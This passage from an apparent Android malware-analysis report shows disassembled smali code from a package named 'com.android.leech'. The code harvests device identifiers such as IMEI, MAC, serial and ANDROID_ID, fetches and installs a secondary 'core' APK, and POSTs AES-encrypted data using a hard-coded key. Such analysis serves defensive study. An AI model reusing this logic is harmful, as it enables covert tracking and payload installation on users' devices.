                                                                              84invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              85move-result-object v7
                                                                              87const-string v8, ""
                                                                              89invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              90move-result-object v7
                                                                              92invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              93move-result-object v7
                                                                              95invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              97const-string v4, "Main"
                                                                              99const-string v6, "CoreSucc_SECURITY_PATCH"
                                                                              101sget-object v7, Landroid/os/Build$VERSION;->SECURITY_PATCH:Ljava/lang/String;
                                                                              103invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              105const-string v4, "sendCoreSucc"
                                                                              106const/4 v6, 0x1
                                                                              108invoke-static {p0, v4, v6}, Lcom/android/leech/base/util/ShareUtils;->setBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)V
                                                                              109cond_84:
                                                                              110const-string v4, "Main"
                                                                              112const-string v6, "getOptimalPkg"
                                                                              114invoke-static {p0}, Lcom/android/leech/base/util/CoreUtils;->getOptimalPkg(Landroid/content/Context;)Ljava/lang/String;
                                                                              115move-result-object v7
                                                                              117invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              119invoke-static {p0}, Lcom/android/leech/base/util/CoreUtils;->callAlive(Landroid/content/Context;)V
                                                                              121invoke-static {p0}, Lcom/android/leech/base/util/CoreUtils;->getPath(Landroid/content/Context;)Ljava/lang/String;
                                                                              122move-result-object v4
                                                                              124invoke-static {v4}, Lcom/android/leech/base/util/FileUtils;->checkFile(Ljava/lang/String;)Z
                                                                              125move-result v4
                                                                              126if-eqz v4, :cond_a3
                                                                              128invoke-static {p0}, Lcom/android/leech/base/util/CoreUtils;->getPath(Landroid/content/Context;)Ljava/lang/String;
                                                                              129move-result-object v4
                                                                              131invoke-static {v4}, Lcom/android/leech/base/util/FileUtils;->del(Ljava/lang/String;)Z
                                                                              132try_end_a3: monitor-exit v5
                                                                              133return-void
                                                                              134cond_a5:
                                                                              135invoke-static {p0}, Lcom/android/leech/base/util/patch/PatchUtils;->isPatchApk(Landroid/content/Context;)Z
                                                                              136move-result v4
                                                                              137if-eqz v4, :cond_cd
                                                                              139const-string v4, "Main"
                                                                              141const-string v6, "skip"
                                                                              142new-instance v7, Ljava/lang/StringBuilder;
                                                                              144invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              146const-string v8, "isPatchApk:"
                                                                              148invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              149move-result-object v7
                                                                              151invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              152move-result-object v8
                                                                              154invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              155move-result-object v7
                                                                              157invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              158move-result-object v7
                                                                              160invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              161try_end_c9: goto/16 :goto_a3
                                                                              162catchall_ca: move-exception v4
                                                                              163monitor-exit v5
                                                                              164throw v4
                                                                              165cond_cd: const/4 v4, 0x5
                                                                              166if-lt v3, v4, :cond_144
                                                                              167try_start_d0:
                                                                              168const-string v4, "sendCoreFail"
                                                                              169const/4 v6, 0x0
                                                                              171invoke-static {p0, v4, v6}, Lcom/android/leech/base/util/ShareUtils;->getBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)Z
                                                                              172move-result v2
                                                                              173if-nez v2, :cond_a3
                                                                              175const-string v4, "Main"
                                                                              177const-string v6, "CoreError_times"
                                                                              178new-instance v7, Ljava/lang/StringBuilder;
                                                                              180invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              182const-string v8, ""
                                                                              184invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              185move-result-object v7
                                                                              187invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              188move-result-object v7
                                                                              190invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              191move-result-object v7
                                                                              193invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              195const-string v4, "Main"
                                                                              197const-string v6, "CoreError_BOARD"
                                                                              199sget-object v7, Landroid/os/Build;->BOARD:Ljava/lang/String;
                                                                              201invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              203const-string v4, "Main"
                                                                              205const-string v6, "CoreError_BRAND"
                                                                              207sget-object v7, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              209invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              211const-string v4, "Main"
                                                                              213const-string v6, "CoreError_MODEL"
                                                                              215sget-object v7, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              217invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              219const-string v4, "Main"
                                                                              221const-string v6, "CoreError_FINGERPRINT"
                                                                              223sget-object v7, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                                              225invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              227const-string v4, "Main"
                                                                              229const-string v6, "CoreError_SDK_INT"
                                                                              230new-instance v7, Ljava/lang/StringBuilder;
                                                                              232invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              233sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              235invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              236move-result-object v7
                                                                              238const-string v8, ""
                                                                              240invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              241move-result-object v7
                                                                              243invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              244move-result-object v7
                                                                              246invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              248const-string v4, "Main"
                                                                              250const-string v6, "CoreError_SECURITY_PATCH"
                                                                              252sget-object v7, Landroid/os/Build$VERSION;->SECURITY_PATCH:Ljava/lang/String;
                                                                              254invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              256const-string v4, "sendCoreFail"
                                                                              257const/4 v6, 0x1
                                                                              259invoke-static {p0, v4, v6}, Lcom/android/leech/base/util/ShareUtils;->setBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)V
                                                                              260goto/16 :goto_a3
                                                                              261cond_144:
                                                                              262invoke-static {p0}, Lcom/android/leech/base/util/CoreUtils;->getPath(Landroid/content/Context;)Ljava/lang/String;
                                                                              263move-result-object v1
                                                                              265invoke-static {v1}, Lcom/android/leech/base/util/FileUtils;->checkFile(Ljava/lang/String;)Z
                                                                              266move-result v4
                                                                              267if-nez v4, :cond_180
                                                                              269invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->hasCoreApk(Landroid/content/Context;)Z
                                                                              270move-result v4
                                                                              271if-eqz v4, :cond_169
                                                                              273const-string v4, "Main"
                                                                              275const-string v6, "corefile"
                                                                              277const-string v7, "getCoreApkBytes"
                                                                              279invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              281invoke-static {p0}, Lcom/android/leech/base/util/MutilUtils;->getCoreApkBytes(Landroid/content/Context;)[B
                                                                              282move-result-object v0
                                                                              284invoke-static {v1, v0}, Lcom/android/leech/base/util/FileUtils;->bytesToFile(Ljava/lang/String;[B)Z
                                                                              285goto_164:
                                                                              286invoke-static {p0, v1, p1}, Lcom/android/leech/main/Main;->installCore(Landroid/content/Context;Ljava/lang/String;I)V
                                                                              287goto/16 :goto_a3
                                                                              288cond_169:
                                                                              289const-string v4, "Main"
                                                                              291const-string v6, "corefile"
                                                                              293const-string v7, "by CoreUpdateRequester"
                                                                              295invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              296new-instance v4, Lcom/android/leech/base/network/CoreUpdateRequester;
                                                                              298invoke-direct {v4}, Lcom/android/leech/base/network/CoreUpdateRequester;-><init>()V
                                                                              299new-instance v6, Lcom/android/leech/main/Main$3;
                                                                              301invoke-direct {v6, v1, p0, p1}, Lcom/android/leech/main/Main$3;-><init>(Ljava/lang/String;Landroid/content/Context;I)V
                                                                              303invoke-virtual {v4, v6}, Lcom/android/leech/base/network/CoreUpdateRequester;->request(Lcom/android/leech/base/network/BaseRequest$ResponseListener;)V
                                                                              304goto/16 :goto_164
                                                                              305cond_180:
                                                                              306const-string v4, "Main"
                                                                              308const-string v6, "corefile"
                                                                              310const-string v7, "corePath has file"
                                                                              312invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              313try_end_189: goto/16 :goto_164
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • android_id
                                                                              • getDeviceId, ANDROID_ID:
                                                                              • getDeviceId, MAC:
                                                                              • getDeviceId: ANDROID_ID:
                                                                              Position Instruction Meta Information
                                                                              0const/16 v1, 0x17
                                                                              1const/4 v6, 0x1
                                                                              2const/4 v5, 0x0
                                                                              4const-string v0, ""
                                                                              5if-nez p0, :cond_9
                                                                              6goto_8: return-object v0
                                                                              7cond_9: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              8if-ge v0, v1, :cond_76
                                                                              10invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              11move-result-object v0
                                                                              13const-string v1, "android_id"
                                                                              15invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              16move-result-object v0
                                                                              17sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              18if-eqz v1, :cond_37
                                                                              20sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              21new-array v2, v6, [Ljava/lang/Object;
                                                                              22new-instance v3, Ljava/lang/StringBuilder;
                                                                              24invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              26const-string v4, "getDeviceId, ANDROID_ID: "
                                                                              28invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              29move-result-object v3
                                                                              31invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              32move-result-object v3
                                                                              34invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              35move-result-object v3
                                                                              36aput-object v3, v2, v5
                                                                              38invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              39cond_37:
                                                                              40invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              41move-result v1
                                                                              42if-eqz v1, :cond_8
                                                                              44invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacBySystemInterface(Landroid/content/Context;)Ljava/lang/String;
                                                                              45move-result-object v0
                                                                              46sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              47if-eqz v1, :cond_61
                                                                              49sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              50new-array v2, v6, [Ljava/lang/Object;
                                                                              51new-instance v3, Ljava/lang/StringBuilder;
                                                                              53invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              55const-string v4, "getDeviceId, MAC: "
                                                                              57invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              58move-result-object v3
                                                                              60invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              61move-result-object v3
                                                                              63invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              64move-result-object v3
                                                                              65aput-object v3, v2, v5
                                                                              67invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              68cond_61:
                                                                              69invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              70move-result v1
                                                                              71if-eqz v1, :cond_8
                                                                              73invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSerialNo()Ljava/lang/String;
                                                                              74move-result-object v0
                                                                              76invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              77move-result v1
                                                                              78if-eqz v1, :cond_8
                                                                              80invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getIMEI(Landroid/content/Context;)Ljava/lang/String;
                                                                              81move-result-object v0
                                                                              82goto/16 :goto_8
                                                                              83cond_76: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              84if-ne v0, v1, :cond_f7
                                                                              86invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              87move-result-object v0
                                                                              89const-string v1, "android_id"
                                                                              91invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              92move-result-object v0
                                                                              93sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              94if-eqz v1, :cond_a4
                                                                              96sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              97new-array v2, v6, [Ljava/lang/Object;
                                                                              98new-instance v3, Ljava/lang/StringBuilder;
                                                                              100invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              102const-string v4, "getDeviceId, ANDROID_ID: "
                                                                              104invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              105move-result-object v3
                                                                              107invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              108move-result-object v3
                                                                              110invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              111move-result-object v3
                                                                              112aput-object v3, v2, v5
                                                                              114invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              115cond_a4:
                                                                              116invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              117move-result v1
                                                                              118if-eqz v1, :cond_8
                                                                              120invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacByJavaAPI()Ljava/lang/String;
                                                                              121move-result-object v0
                                                                              123invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              124move-result v1
                                                                              125if-eqz v1, :cond_bc
                                                                              126sget-boolean v0, LuAgent/commonsdk/statistics/AnalyticsConstants;->CHECK_DEVICE:Z
                                                                              127if-eqz v0, :cond_f2
                                                                              129invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacShell()Ljava/lang/String;
                                                                              130move-result-object v0
                                                                              131goto_bc: sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              132if-eqz v1, :cond_dc
                                                                              134sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              135new-array v2, v6, [Ljava/lang/Object;
                                                                              136new-instance v3, Ljava/lang/StringBuilder;
                                                                              138invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              140const-string v4, "getDeviceId, MAC: "
                                                                              142invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              143move-result-object v3
                                                                              145invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              146move-result-object v3
                                                                              148invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              149move-result-object v3
                                                                              150aput-object v3, v2, v5
                                                                              152invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              153cond_dc:
                                                                              154invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              155move-result v1
                                                                              156if-eqz v1, :cond_8
                                                                              158invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSerialNo()Ljava/lang/String;
                                                                              159move-result-object v0
                                                                              161invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              162move-result v1
                                                                              163if-eqz v1, :cond_8
                                                                              165invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getIMEI(Landroid/content/Context;)Ljava/lang/String;
                                                                              166move-result-object v0
                                                                              167goto/16 :goto_8
                                                                              168cond_f2:
                                                                              169invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacBySystemInterface(Landroid/content/Context;)Ljava/lang/String;
                                                                              170move-result-object v0
                                                                              171goto/16 :goto_bc
                                                                              172cond_f7:
                                                                              173invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              174move-result-object v0
                                                                              176const-string v1, "android_id"
                                                                              178invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              179move-result-object v0
                                                                              180sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              181if-eqz v1, :cond_121
                                                                              183sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              185new-instance v3, Ljava/lang/StringBuilder;
                                                                              187invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              189const-string v4, "getDeviceId: ANDROID_ID: "
                                                                              191invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              192move-result-object v3
                                                                              194invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              195move-result-object v3
                                                                              197invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              198move-result-object v3
                                                                              199aput-object v3, v2, v5
                                                                              201invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              202cond_121:
                                                                              203invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              204move-result v1
                                                                              205if-eqz v1, :cond_8
                                                                              207invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSerialNo()Ljava/lang/String;
                                                                              208move-result-object v0
                                                                              210invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              211move-result v1
                                                                              212if-eqz v1, :cond_8
                                                                              214invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getIMEI(Landroid/content/Context;)Ljava/lang/String;
                                                                              215move-result-object v0
                                                                              217invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              218move-result v1
                                                                              219if-eqz v1, :cond_8
                                                                              221invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacByJavaAPI()Ljava/lang/String;
                                                                              222move-result-object v0
                                                                              224invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              225move-result v1
                                                                              226if-eqz v1, :cond_8
                                                                              228invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacBySystemInterface(Landroid/content/Context;)Ljava/lang/String;
                                                                              229move-result-object v0
                                                                              230sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              231if-eqz v1, :cond_8
                                                                              233sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              234new-array v2, v6, [Ljava/lang/Object;
                                                                              235new-instance v3, Ljava/lang/StringBuilder;
                                                                              237invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              239const-string v4, "getDeviceId, MAC: "
                                                                              241invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              242move-result-object v3
                                                                              244invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              245move-result-object v3
                                                                              247invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              248move-result-object v3
                                                                              249aput-object v3, v2, v5
                                                                              251invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              252goto/16 :goto_8
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setReadTimeout
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setDoOutput
                                                                              • java.net.HttpURLConnection.getOutputStream
                                                                              • java.io.DataOutputStream.<init>
                                                                              • org.json.JSONObject.toString
                                                                              • java.io.DataOutputStream.writeBytes
                                                                              • java.io.DataOutputStream.flush
                                                                              • java.io.DataOutputStream.close
                                                                              • java.net.HttpURLConnection.getResponseCode
                                                                              • java.net.HttpURLConnection.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.Thread.sleep
                                                                              • java.lang.Exception.toString
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.Exception.toString
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              Strings
                                                                              • Content-Type
                                                                              • application/json; charset=UTF-8
                                                                              • Accept
                                                                              • application/json
                                                                              • POST
                                                                              • afb9d69588be0116
                                                                              • ad_others
                                                                              • HttpUtil|request
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "urlStr" # Ljava/lang/String;
                                                                              1.param p1, "post" # Lorg/json/JSONObject;
                                                                              2.prologue
                                                                              4const-string v7, ""
                                                                              5const/4 v4, 0x0
                                                                              6const/4 v10, 0x0
                                                                              7const/4 v3, 0x0
                                                                              8goto_5: const/4 v12, 0x1
                                                                              9if-ge v3, v12, :cond_8c
                                                                              10try_start_8: new-instance v9, Ljava/net/URL;
                                                                              12invoke-direct {v9, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              14invoke-virtual {v9}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              15move-result-object v12
                                                                              16move-object v0, v12
                                                                              17check-cast v0, Ljava/net/HttpURLConnection;
                                                                              18move-object v10, v0
                                                                              19const/16 v12, 0x7530
                                                                              21invoke-virtual {v10, v12}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              22const/16 v12, 0x7530
                                                                              24invoke-virtual {v10, v12}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                                                              26const-string v12, "Content-Type"
                                                                              28const-string v13, "application/json; charset=UTF-8"
                                                                              30invoke-virtual {v10, v12, v13}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              32const-string v12, "Accept"
                                                                              34const-string v13, "application/json"
                                                                              36invoke-virtual {v10, v12, v13}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              38const-string v12, "POST"
                                                                              40invoke-virtual {v10, v12}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              41const/4 v12, 0x1
                                                                              43invoke-virtual {v10, v12}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                                                              44new-instance v11, Ljava/io/DataOutputStream;
                                                                              46invoke-virtual {v10}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              47move-result-object v12
                                                                              49invoke-direct {v11, v12}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                                              51const-string v12, "afb9d69588be0116"
                                                                              53invoke-virtual/range {p1 .. p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              54move-result-object v13
                                                                              56invoke-static {v12, v13}, Lcom/android/leech/base/util/AESUtil;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              57move-result-object v2
                                                                              58if-eqz v2, :cond_54
                                                                              60invoke-virtual {v11, v2}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                                                                              62invoke-virtual {v11}, Ljava/io/DataOutputStream;->flush()V
                                                                              64invoke-virtual {v11}, Ljava/io/DataOutputStream;->close()V
                                                                              65cond_54:
                                                                              66invoke-virtual {v10}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                                                              67move-result v8
                                                                              68const/16 v12, 0xc8
                                                                              69if-ne v8, v12, :cond_93
                                                                              70new-instance v6, Ljava/io/BufferedReader;
                                                                              71new-instance v12, Ljava/io/InputStreamReader;
                                                                              73invoke-virtual {v10}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
